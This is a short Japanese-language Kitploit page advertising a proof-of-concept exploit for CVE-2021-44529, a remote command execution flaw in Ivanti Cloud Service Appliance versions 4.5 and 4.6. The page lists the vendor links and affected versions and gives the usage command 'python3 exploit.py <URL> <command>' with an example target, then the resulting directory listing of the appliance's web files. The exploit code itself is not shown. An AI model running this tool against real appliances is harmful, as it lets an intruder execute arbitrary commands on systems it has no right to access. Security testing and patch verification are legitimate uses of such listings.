CVE-2021-44529 — CVE-2021-44529（Ivanti Cloud Service Appliance）の概念実証エクスプロイト。細工したリクエストによるリモートコマンド実行を可能にします。 | Kitploit

共有

CVE-2021-44529

ベンダーホームページ: https://www.ivanti.com/

ソフトウェアリンク: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6

バージョン: CSA 4.6 4.5 - 2021年8月にEOF

実行

python3 exploit.py <URL> <コマンド>

例

python3 exploit.py 'https://x.x.x.x' 'ls'

LDMGdeploy.pdf
LDSupport.exe
OnDemand.php
RCClient.dmg
RCClient.exe
about.php
download.php
images
index.php
menus.php
site.conf
style.php
test.txt
tools.php